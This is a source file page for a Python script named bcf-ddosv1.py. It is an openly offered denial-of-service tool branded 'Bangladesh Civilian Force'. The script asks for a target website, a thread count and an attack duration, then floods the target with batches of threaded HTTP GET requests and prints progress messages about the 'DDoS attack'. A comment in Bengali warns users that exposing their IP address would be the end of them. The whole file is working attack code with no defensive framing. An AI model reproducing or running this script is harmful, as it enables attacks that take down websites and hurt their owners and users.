-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbcf-ddosv1.py
106 lines (84 loc) · 5.56 KB
/
bcf-ddosv1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import requests
import threading
import time
import subprocess
from colorama import init, Fore
# ভালো কাজে ব্যাবহার কইরেন!!! আইপি এক্সপস হইলে আপনি শেষ⚠
# Install required packages
packages = ["requests", "colorama"]
subprocess.run(["pip", "install", *packages])
# Initialize colorama for colored output
init()
def establish_connection(url):
try:
response = requests.get(url, timeout=5)
if response.status_code == 200:
print(Fore.GREEN + "Connection established with", url)
return True
else:
print(Fore.RED + "Failed to establish connection with", url, "- HTTP Status Code:", response.status_code)
return False
except Exception as e:
print(Fore.RED + "Error establishing connection:", e)
return False
def send_request(session, url):
try:
response = session.get(url)
if response.status_code == 200:
print(Fore.YELLOW + "DDoS attack request sent to", url)
else:
print(Fore.RED + "Failed to send DDoS attack request to", url, "- HTTP Status Code:", response.status_code)
except requests.exceptions.RequestException as e:
print(Fore.RED + "Error occurred during DDoS attack:", e)
def start_ddos(url, num_threads=100, duration=60):
try:
if not establish_connection(url):
print(Fore.RED + "Exiting program.")
return
print(Fore.CYAN + "Setting up threads...")
time.sleep(5) # Wait for 5 seconds before setting up threads
with requests.Session() as session:
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=send_request, args=(session, url))
threads.append(thread)
if len(threads) == 5:
for thread in threads:
thread.start()
for thread in threads:
thread.join()
threads = []
time.sleep(0.75) # Wait for 0.5 seconds before starting the next batch
# Start any remaining threads
for thread in threads:
thread.start()
# Wait for all threads to finish or timeout
for thread in threads:
thread.join(timeout=duration)
print(Fore.GREEN + "DDoS attack completed.")
except KeyboardInterrupt:
print(Fore.YELLOW + "\nDDoS attack interrupted.")
except Exception as e:
print(Fore.RED + "Error occurred:", e)
def main():
# Display ASCII art
ascii_art = """
░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░▒▓████████▓▒░▒▓██████▓▒░░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
𝔅𝔞𝔫𝔤𝔩𝔞𝔡𝔢𝔰𝔥 ℭ𝔦𝔳𝔦𝔩𝔦𝔞𝔫 𝔉𝔬𝔯𝔠𝔢
"""
print(Fore.WHITE + ascii_art)
# User input section
target_website = input("Enter the target website link: ")
total_threads = int(input("Enter the total threads (default is 100): ") or "100")
attack_time = int(input("Enter the attack time in seconds (default is 60): ") or "60")
print("\033[1;91m\033[5mStarting DDoS attack...\033[0m")
# Start DDoS attack
start_ddos(target_website, total_threads, attack_time)
if __name__ == "__main__":
main()